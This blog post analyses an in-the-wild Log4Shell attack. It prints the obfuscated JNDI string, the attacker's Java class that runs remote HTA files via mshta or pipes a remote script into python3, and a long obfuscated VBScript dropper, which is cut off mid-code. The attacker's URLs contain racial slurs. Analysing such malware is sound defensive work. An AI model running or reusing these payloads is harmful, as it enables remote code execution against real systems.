Posts Log4Shell Exploitation with Meterpreter Payload In The Wild
Post
Cancel

Log4Shell Exploitation with Meterpreter Payload In The Wild

Sarange Dec 20, 2021 2021-12-20T00:00:00+04:00
Dec 21, 2021 2021-12-21T11:36:07+04:00 139 min
Preview Image

Analysis

The following user agent was identified on a WAF, trying to exploit the new Log4Shell vulnerability (CVE-2021-44228) on Log4J: ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://188.166.57.35:1389/Binary}

Stage 1

Requesting the URL on LDAP protocol we get the following:

DN: Binary
        javaClassName: foo

        javaCodeBase: http://188.166.57.35:8000/

        objectClass: javaNamingReference

        javaFactory: Binary

Stage 2

Requesting the new URL on HTTP we get the following directory listing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="Binary.class">Binary.class</a></li>
<li><a href="Binary.java">Binary.java</a></li>
</ul>
<hr>
</body>
</html>

It was nice of the attacker to leave the plaintext .java file on the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

import java.util.Random;

public class Binary {
   static {
      try {
          String[] htas = {"http://www.alldomaininfo.com/8C03C/fuck_niggers_92.hta","http://www.alldomaininfo.com/18CKF/fuck_niggers_36.hta","http://www.alldomaininfo.com/RS3/fuck_niggers_42.hta","http://www.alldomaininfo.com/WX9Y/fuck_niggers_86.hta","http://www.alldomaininfo.com/J9IPA/fuck_niggers_71.hta","http://www.alldomaininfo.com/1WQV/fuck_niggers_10.hta","http://www.alldomaininfo.com/98JB/fuck_niggers_88.hta","http://www.alldomaininfo.com/4XE/fuck_niggers_56.hta","http://www.alldomaininfo.com/KLY/fuck_niggers_57.hta","http://www.alldomaininfo.com/EOM/fuck_niggers_73.hta","http://www.alldomaininfo.com/LU5NRI/fuck_niggers_12.hta","http://www.alldomaininfo.com/JJFO4P/fuck_niggers_4.hta","http://www.alldomaininfo.com/DBMZ/fuck_niggers_53.hta","http://www.alldomaininfo.com/I233TS/fuck_niggers_68.hta","http://www.alldomaininfo.com/3X7MV/fuck_niggers_31.hta","http://www.alldomaininfo.com/XSNKK/fuck_niggers_54.hta","http://www.alldomaininfo.com/EXYX/fuck_niggers_70.hta","http://www.alldomaininfo.com/WBD9ZA/fuck_niggers_40.hta","http://www.alldomaininfo.com/D4PV9I/fuck_niggers_93.hta","http://www.alldomaininfo.com/H0BX1/fuck_niggers_76.hta","http://www.alldomaininfo.com/DIY1F6/fuck_niggers_93.hta","http://www.alldomaininfo.com/438G/fuck_niggers_91.hta","http://www.alldomaininfo.com/ZBK/fuck_niggers_57.hta","http://www.alldomaininfo.com/0QMMJX/fuck_niggers_12.hta","http://www.alldomaininfo.com/1D7/fuck_niggers_9.hta","http://www.alldomaininfo.com/D9W/fuck_niggers_15.hta","http://www.alldomaininfo.com/UTO/fuck_niggers_99.hta","http://www.alldomaininfo.com/373/fuck_niggers_98.hta","http://www.alldomaininfo.com/WEYMZ7/fuck_niggers_72.hta","http://www.alldomaininfo.com/3MT4N8/fuck_niggers_0.hta","http://www.alldomaininfo.com/W22OE8/fuck_niggers_51.hta","http://www.alldomaininfo.com/50KT/fuck_niggers_56.hta","http://www.alldomaininfo.com/6A0/fuck_niggers_32.hta","http://www.alldomaininfo.com/S4L/fuck_niggers_84.hta","http://www.alldomaininfo.com/2XYFLL/fuck_niggers_92.hta","http://www.alldomaininfo.com/M9DFBE/fuck_niggers_31.hta","http://www.alldomaininfo.com/YCEL62/fuck_niggers_29.hta","http://www.alldomaininfo.com/UCHF/fuck_niggers_86.hta","http://www.alldomaininfo.com/015QZ4/fuck_niggers_54.hta","http://www.alldomaininfo.com/R3RW7/fuck_niggers_49.hta","http://www.alldomaininfo.com/00PYP9/fuck_niggers_51.hta","http://www.alldomaininfo.com/8AMYY/fuck_niggers_98.hta","http://www.alldomaininfo.com/Y1G1W/fuck_niggers_94.hta","http://www.alldomaininfo.com/LODNH/fuck_niggers_90.hta","http://www.alldomaininfo.com/1FKXQ/fuck_niggers_59.hta","http://www.alldomaininfo.com/FUQ/fuck_niggers_7.hta","http://www.alldomaininfo.com/CGIQ7/fuck_niggers_38.hta","http://www.alldomaininfo.com/QLPYJ/fuck_niggers_89.hta","http://www.alldomaininfo.com/GZT/fuck_niggers_58.hta","http://www.alldomaininfo.com/Y2G/fuck_niggers_14.hta","http://www.alldomaininfo.com/ZI97/fuck_niggers_49.hta","http://www.alldomaininfo.com/LC1/fuck_niggers_95.hta","http://www.alldomaininfo.com/MWM/fuck_niggers_77.hta","http://www.alldomaininfo.com/SLY5Y/fuck_niggers_24.hta","http://www.alldomaininfo.com/VAF/fuck_niggers_43.hta","http://www.alldomaininfo.com/B45/fuck_niggers_52.hta","http://www.alldomaininfo.com/RKKP6P/fuck_niggers_60.hta","http://www.alldomaininfo.com/24L/fuck_niggers_19.hta","http://www.alldomaininfo.com/C9K23/fuck_niggers_92.hta","http://www.alldomaininfo.com/39VSS/fuck_niggers_54.hta"};
          Random r = new Random();
          int randomNumber=r.nextInt(htas.length);
          String myhta = htas[randomNumber];
          try {
              String[] cmds = new String[]{"cmd.exe","/c", "mshta", myhta};
              java.lang.Runtime.getRuntime().exec(cmds).waitFor();
          }catch (Exception e){
              e.printStackTrace();
			  String[] cmds = new String[]{"curl http://cucsur.udgvirtual.udg.mx/oa/2020/SisTur/G99ZTE/m.py | python3"};
			  java.lang.Runtime.getRuntime().exec(cmds).waitFor();
          }
      }catch (Exception e){
          e.printStackTrace();
      }
   }
}

The above script gets a random URL from the ‘htas’ list and executes it with “cmd.exe /c mshta myhta”, targeting Windows systems. If that fails, it downloads and executes a python3 script.

HTA Payload - Windows

The HTAs have different variables and different hashes, but once deobfuscating them they have the same function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

<!DOCTYPE html>
<html>
	<head>
	<HTA:APPLICATION ID="CS"
	APPLICATIONNAME="xMfhtrDknvbLKXybzFo"
	WINDOWSTATE="minimize"
	MAXIMIZEBUTTON="no"
	MINIMIZEBUTTON="no"
	CAPTION="no"
	SHOWINTASKBAR="no">
	<script type="text/vbscript" LANGUAGE="VBScript" >

Function XmlTime(t)
    Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
    Dim tTime, tDate

    cSecond = "0" & Second(t)
    cMinute = "0" & Minute(t)
    cHour = "0" & Hour(t)
    cDay = "0" & Day(t)
    cMonth = "0" & Month(t)
    cYear = Year(t)

    tTime = Right(cHour, 2) & ":" & Right(cMinute, 2)
    tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
    XmlTime = tTime
End Function

	var_1 = ""
	Set wscript_shell = CreateObject("Wscript.Shell")
	Set var_3 = CreateObject("Scripting.FileSystemObject")
	time_start = DateAdd("s", 60, Now)
	startTime = XmlTime(time_start)
	var_4 = "C:\ProgramData\fuck_all_niggers.vbs"
	If Not var_3.FileExists(var_4) Then
		For Each var_5 in Array(13 , 10 , 13 , 10 , 83 , 101 , 116 , 32 , 80 , 89 , 72 , 82 , 90 , 115 , 114 , 82 , 86 , 103 , 74 , 109 , 86 , 110 , 32 , 61 , 32 , 67 , 114 , 101 , 97 , 116 , 101 , 79 , 98 , 106 , 101 , 99 , 116 , 40 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 55 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 56 , 51 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 88 , 77 , 76 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 53 , 48 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 88 , 77 , 76 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 72 , 84 , 84 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 56 , 48 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 46 , 54 , 46 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 56 , 43 , 49 , 45 , 49 , 41 , 41 , 13 , 10 , 77 , 113 , 120 , 85 , 86 , 103 , 106 , 79 , 111 , 98 , 88 , 75 , 84 , 118 , 79 , 121 , 105 , 77 , 89 , 32 , 61 , 32 , 67 , 104 , 114 , 40 , 56 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 115 , 99 , 34 , 32 , 38 , 32 , 34 , 114 , 105 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 112 , 116 , 34 , 32 , 38 , 32 , 34 , 46 , 83 , 104, 34 , 32 , 38 , 32 , 34 , 101 , 108 , 108 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 13 , 10 , 83 , 101 , 116 , 32 , 121 , 75 , 100 , 77 , 67 , 97 , 86 , 117 , 75 , 97 , 78 , 32 , 61 , 32 , 67 , 114 , 101 , 97 , 116 , 101 , 79 , 98 , 106 , 101 , 99 , 116 , 40 , 77 , 113 , 120 , 85 , 86 , 103 , 106 , 79 , 111 , 98 , 88 , 75 , 84 , 118 , 79 , 121 , 105 , 77 , 89 , 41 , 13 , 10 , 110 , 118 , 121 , 84 , 108 , 107 , 90 , 116 , 109 , 114 , 107 , 80 , 71 , 100 , 97 , 119 , 32 , 61 , 32 , 76 , 67 , 97 , 115 , 101 , 40 , 121 , 75 , 100 , 77 , 67 , 97 , 86 , 117 , 75 , 97 , 78 , 46 , 101 , 120 , 112 , 97 , 110 , 100 , 101 , 110 , 118 , 105 , 114 , 111 , 110 , 109 , 101 , 110 , 116 , 115 , 116 , 114 , 105 , 110 , 103 , 115 , 40 , 34 , 37 , 85 , 83 , 69 , 82 , 68 , 79 , 77 , 65 , 73 , 78 ,37 , 34 , 41 , 41 , 13 , 10 , 90 , 81 , 98 , 119 , 89 , 110 , 122 , 88 , 86 , 83 , 115 , 78 , 70 , 110 , 83 , 87 , 32 , 61 , 76 , 67 , 97 , 115 , 101 , 40 , 82 , 101 , 112 , 108 , 97 , 99 , 101 , 40 , 121 , 75 , 100 , 77 , 67 , 97 , 86 , 117 , 75 , 97 , 78 , 46 , 101, 120 , 112 , 97 , 110 , 100 , 101 , 110 , 118 , 105 , 114 , 111 , 110 , 109 , 101 , 110 , 116 , 115 , 116 , 114 , 105 , 110 , 103 , 115 , 40 , 34 , 37 , 76 , 79 , 71 , 79 , 78 , 83 , 69 , 82 , 86 , 69 , 82 , 37 , 34 , 41 , 44 , 32 , 67 , 72 , 82 , 40 , 57 , 50 , 43 , 49 , 45 , 49 , 43 , 49 , 45 , 49 , 41 , 44 , 32 , 34 , 34 , 41 , 41 , 13 , 10 , 83 , 101 , 116 , 32 , 117 , 72 , 78 , 99 , 68 , 83 , 79 , 120 , 122 , 83 , 74 , 32 , 61 , 32 , 67 , 114 , 101 , 97 , 116 , 101 , 79 , 98 , 106 , 101 , 99 , 116 , 40 , 34 , 34 , 32 , 38 ,32 , 34 , 83 , 99 , 34 , 32 , 38 , 32 , 34 , 114 , 105 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 112 , 116 , 34 , 32 , 38 , 32 , 34 , 105 , 110 , 103 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 70 , 105, 108 , 34 , 32 , 38 , 32 , 34 , 101 , 83 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 50 , 49 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 53 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 ,34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 54 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 49 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 109 , 79 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 98 , 106 , 101 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 57 , 57 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 54 , 43 , 49 , 45 , 49 , 41 , 41 , 13 , 10 , 13 , 10 , 70 , 117 , 110 , 99 , 116 , 105 , 111 , 110 , 32 , 115 , 65 , 72 , 103 , 78 , 90 , 73 , 78 , 120 , 81 , 111 , 106 , 121 , 122 , 120 , 74 , 80 , 40 , 67 , 84 , 70 , 111 , 103 , 102 , 77 , 86 , 113 , 107 , 116 , 115 , 73 , 44 , 32 , 101 , 104 , 72 , 120 , 80 , 68 , 73 , 121 , 110 , 71 , 111 , 85 , 98 , 41 , 13 , 10 , 32 , 32 , 32 , 32 , 115 , 65 , 72 , 103 , 78 , 90 , 73 , 78 , 120 , 81 , 111 , 106 , 121 , 122 , 120 , 74 , 80 , 32 , 61 , 32 , 73 , 110 , 116 , 40 , 40 , 101 , 104 , 72 , 120 , 80 , 68 , 73 , 121 , 110 , 71 , 111 , 85 , 98 , 32 , 45 , 32 , 67 , 84 , 70 , 111 , 103 , 102 , 77 , 86 , 113 , 107 , 116 , 115 , 73 , 32 , 43 , 32 , 49 , 41 , 32 , 42 , 32 , 82 , 110 , 100 , 40 , 41 , 32 , 43 , 32 , 67 , 84 , 70 , 111 , 103 , 102 , 77 , 86 , 113 , 107 , 116 , 115 , 73 , 41 , 13 , 10 , 69 , 110 , 100 , 32 , 70 , 117 , 110 , 99 , 116 , 105 , 111 , 110 , 13 , 10 , 13 , 10 , 13 , 10 , 13 , 10 , 70 , 117 , 110 , 99 , 116 , 105 , 111 , 110 , 32 , 89 , 75 , 113 , 118 , 122 , 109 , 100 , 102 , 76 , 86 , 105 , 69 , 84 , 76 , 105 , 40 , 70 , 109 , 98 , 117 , 122 , 106 , 103 , 78 , 97 , 114 , 41 , 13 , 10 , 32 , 32 , 32 , 32 , 89 , 75 , 113 , 118 , 122 , 109 , 100 , 102 , 76 , 86 , 105 , 69 , 84 , 76 , 105 , 61 , 32 , 70 , 109 , 98 , 117 , 122 , 106 , 103 , 78 , 97 , 114 , 40 , 115 , 65 , 72 , 103 , 78 , 90 , 73 , 78 , 120 , 81 , 111 , 106 , 121 , 122 , 120 , 74 , 80 , 40 , 76 , 66 , 111 , 117 , 110 , 100 , 40 , 70 , 109 , 98 , 117 , 122 , 106 , 103 , 78 , 97 , 114 , 41 , 44 , 32 , 85 , 66 , 111 , 117 , 110 , 100 , 40 , 70 , 109 , 98 , 117 , 122 , 106 , 103 , 78 , 97 , 114 , 41 , 41 , 41 , 13 , 10 , 69 , 110 , 100 , 32 , 70 , 117 , 110 , 99 , 116 , 105 , 111 , 110 , 13 , 10 , 13 , 10 , 70 , 117 , 110 , 99 , 116 , 105 , 111 , 110 , 32 , 72 , 99 , 67 , 114 , 87 , 75 , 65 , 103 , 122 , 84 , 106 , 69 , 90 , 97 , 76 , 40 , 41 , 13 , 10 , 69 , 119 , 105 , 83 , 72 , 71 , 109 , 107 , 82 , 113 , 104 , 81 , 102 , 82 , 80 , 105 , 100 , 72 , 120 , 67 , 32 , 61 , 32 , 34 , 119 , 109 , 34 , 32 , 38 , 32 , 34 , 105 , 99 , 34 , 32 , 38 , 32 , 34 , 32 , 112 , 34 , 32 , 38 , 32 , 34 , 114 , 111 , 99 , 34 , 32 , 38 , 32 , 34 , 101 , 115 , 34 , 32 , 38 , 32 , 34 , 115 , 32 , 34 , 32 , 38 , 32 , 34 , 99 , 97 , 108 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 56 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 51 , 50 , 41 , 32 , 38 , 32 , 34 , 99 , 114 , 101 , 34 , 32 , 38 , 32 , 34 , 97 , 116 , 101 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 51 , 50 , 41 , 32 , 38 , 32 , 67 , 104 , 114, 40 , 51 , 52 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 114 , 117 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 48 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 48 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48, 56 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 108 , 51 , 50 , 34 , 32 , 38 , 32 , 34 , 46 , 101 , 120 , 34 , 32 , 38 , 32 , 34 , 101 , 32 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 67 , 58 , 92 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 92 , 80 , 114 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 111 , 103 , 34 , 32 , 38 , 32 , 34 , 114 , 97 , 109 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 54 , 56 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 57 , 55 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 54 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 97 , 92 , 102 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 48 , 41 , 32 , 38 , 32 , 34 , 110 , 105 , 103 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 51 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 49 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 52 , 41 , 32 , 38 , 32 , 34 , 46 , 98 , 105 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 48 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40, 51 , 50 , 41 , 32 , 38 , 32 , 34 , 68 , 108 , 108 , 34 , 32 , 38 , 32 , 34 , 82 , 101 , 103 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 53 , 41 , 32 , 38 , 32 , 34 , 115 , 116 , 101 , 34 , 32 , 38 , 32 , 34 , 114 , 83 , 101 , 34 , 32 , 38 , 32 , 34 , 34 ,32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 52 , 41 , 32 , 38 , 32 , 34 , 118 , 101 , 114 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 51 , 52 , 41 , 13 , 10 , 109 , 75 , 80 , 97 , 70 , 80 , 75 , 119 , 112 , 66 , 84 , 109 , 67 , 100 , 89 , 32 , 61 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 119 , 109 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 53 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 99 , 32 , 112 , 34 , 32 , 38 , 32 , 34 , 114 , 111 , 34 , 32 , 38 , 32 , 34 , 99 , 101 , 115 , 34 , 32 , 38 , 32 , 34 , 115 , 32 , 99 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 97 , 108 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 56 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 51 , 50 , 41 , 32 , 38 , 32 , 34 , 99 , 114 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 49 , 41 , 32 , 38 , 32 , 34 , 97 , 116 , 101 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 51 , 50 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 51 , 52 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 52 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 101 , 103 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 53 , 41 , 32 , 38 , 32 , 34 , 118 , 114 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 51 , 50 , 46 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 49 , 41 , 32 , 38 , 32 , 34 , 120, 101 , 34 , 32 , 38 , 32 , 34 , 32 , 47 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 115 , 32 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 67 , 58 , 92 , 34 , 32 , 38 , 32 , 34 , 92 , 80 , 114 , 34 , 32, 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 49 , 41 , 32 , 38 , 32 , 34 , 103 , 114 , 97 , 34 , 32 , 38 , 32 , 34 , 109 , 68 , 34 , 32 , 38 , 32 , 34 , 97 , 116 , 34 , 32 , 38 , 32 , 34 , 97 , 92 , 34 , 32 , 38 , 32 , 34 , 102 , 100 , 34 , 32 , 38 , 32 , 34 , 34 , 32, 38 , 32 , 34 , 110 , 105 , 34 , 32 , 38 , 32 , 34 , 103 , 103 , 101 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 114 , 46 , 98 , 34 , 32 , 38 , 32 , 34 , 105 , 110 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 51 , 52 , 41 , 13 , 10 , 87 , 78 , 85 , 106 , 85 ,107 , 67 , 73 , 76 , 105 , 71 , 109 , 107 , 110 , 65 , 121 , 32 , 61 , 32 , 34 , 119 , 109 , 105 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 99 , 32 , 112 , 34 , 32 , 38 , 32 , 34 , 114 , 111 , 34 , 32 , 38 , 32 , 34 , 99 , 101 , 34 , 32 , 38 , 32 , 34 , 34 ,32 , 38 , 32 , 34 , 115 , 115 , 32 , 34 , 32 , 38 , 32 , 34 , 99 , 97 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 56 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 56 , 41 , 32 , 38 , 32 , 34 , 32 , 99 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 114 , 101 , 97 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 54 , 41 , 32 , 38 , 32 , 34 , 101 , 32 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 51 , 52 , 41 , 32 , 38 , 32 , 34 , 114 , 101 , 103 , 34 , 32 , 38 , 32 , 34 , 115 , 118 , 114 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 53 , 49 , 41 , 32 , 38 , 32 , 34 , 50 , 46 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 49 , 41 , 32 , 38 , 32 , 34 , 120 , 101 , 32 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 52 , 53 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 115 , 32 , 67 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 53 , 56 , 41 , 32 , 38 , 32 , 34 , 92 , 92 , 80 , 34 , 32 , 38 , 32 , 34 , 114 , 111 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 51 , 41 , 32 , 38 , 32 , 34 , 114 , 97 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 57 , 41 , 32 , 38 , 32 , 34 , 68 , 97 , 116 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 97 , 92 , 102 , 34 , 32 , 38 , 32 , 34 , 100 , 110 , 105 , 34 , 32 , 38 , 32 , 34 , 103 , 103 , 34 , 32 , 38 , 32 , 34 , 101 , 114 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 46 , 98 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 53 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 48 , 41 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 51 , 52 , 41 , 32 , 13 , 10 , 118 , 90 , 119 , 90 , 120 , 116 , 85 , 65 , 119 , 69 , 122 , 83 , 65 , 118 , 87 , 74 , 81 , 32 , 61 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 56 , 55 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 53 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 57 , 57 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 114 , 105 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 49 , 50 , 43 , 49 , 45 , 49 , 41 , 32 , 38 , 32 , 34 , 116 , 46 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 83 , 104 , 34 , 32 , 38 , 32 , 34 , 34 , 32 , 38 , 32 , 34 , 101 , 108 , 34 , 32 , 38 , 32 , 67 , 104 , 114 , 40 , 49 , 48 , 56 , 43 , 49 , 45 , 49 , 41 , 13 , 10 , 111 , 111 , 117 , 83 , 79 , 70 , 70 , 108 , 80 , 70 , 115 , 97 , 118 , 32 , 61 , 32 , 65 , 114 , 114 , 97 , 121 , 40 , 109 , 75 , 80 , 97 , 70 , 80 , 75 , 119 , 112 , 66 , 84 , 109 , 67 , 100 , 89 , 44 , 32 , 69 , 119 , 105 , 83 , 72 , 71 , 109 , 107 , 82 , 113 , 104 , 81 , 102 , 82 , 80 , 105 , 100 , 72 , 120 , 67 , 44 , 87 , 78 , 85 , 106 , 85 , 107 , 67 , 73 , 76 , 105 , 71 , 109 , 107 , 110 , 65 , 121 , 41 , 13 , 10 , 83 , 101 , 116 , 32 , 82 , 68 , 90 , 103 , 97 , 110 , 99 , 114 , 114 , 78 , 113 , 74 , 97 , 82 , 32 , 61 , 32 , 67 , 114 , 101 , 97 , 116 , 101 , 79 , 98 , 106 , 101 , 99 , 116 , 40 , 118 , 90 , 119 , 90 , 120 , 116 , 85 , 65 , 119 , 69 , 122 , 83 , 65 , 118 , 87 , 74 , 81 , 41 , 13 , 10 , 82 , 68 , 90 , 103 , 97 , 110 , 99 , 114 , 114 , 78 , 113 , 74 , 97 , 82 , 46 , 69 , 120 , 101 , 99 , 40 , 69 , 119 , 105 , 83 , 72 , 71 , 109 , 107 , 82 , 113 , 104 , 81 , 102 , 82 , 80 , 105 , 100 , 72 , 120 , 67 , 41 , 13 , 10 , 69 , 110 , 100 , 32 , 70 , 117 , 110 , 99 , 116 , 105 , 111 , 110 , 13 , 10 , 70 , 117 , 110 , 99 , 116 , 105 , 111 , 110 , 32 , 110 , 90 , 104 , 97 , 78 , 106 , 115 , 90 , 117 , 69 , 40 , 75 , 69 , 101 , 100 , 89 , 80 , 87 , 65 , 101 , 85 , 68 , 87 , 83 , 69 , 41 , 13 , 10 , 73 , 102 , 32 , 76 , 101 , 110 , 40 , 75 , 69 , 101 , 100 , 89 , 80 , 87 , 65 , 101 , 85 , 68 , 87 , 83 , 69 , 46 , 82 , 101 , 115 , 112 , 111 , 110 , 115 , 101 , 66 , 111 , 100 , 121 , 41 , 62 , 50 , 48 , 48 , 48 , 32 , 65, 110 , 100 , 32 , 75 , 69 , 101 , 100 , 89 , 80 , 87 , 65 , 101 , 85 , 68 , 87 , 83 , 69 , 46 , 83 , 116 , 97 , 116 , 117 , 115 , 32 , 61 , 32 , 50 , 48 , 48 , 32 , 32 , 84 , 104 , 101 , 110 , 13 , 10 , 32 , 32 , 32 , 32 , 83 , 101 , 116 , 32 , 106 , 106 , 101 , 89 , 101 , 113 , 104 , 118 , 121 , 97 , 119 , 68 , 89 , 101 , 97 , 118 , 32 , 61 , 32 , 67 , 114 , 101 , 97 , 116 , 101 , 79 , 98 , 106 , 101 , 99 , 116 , 40 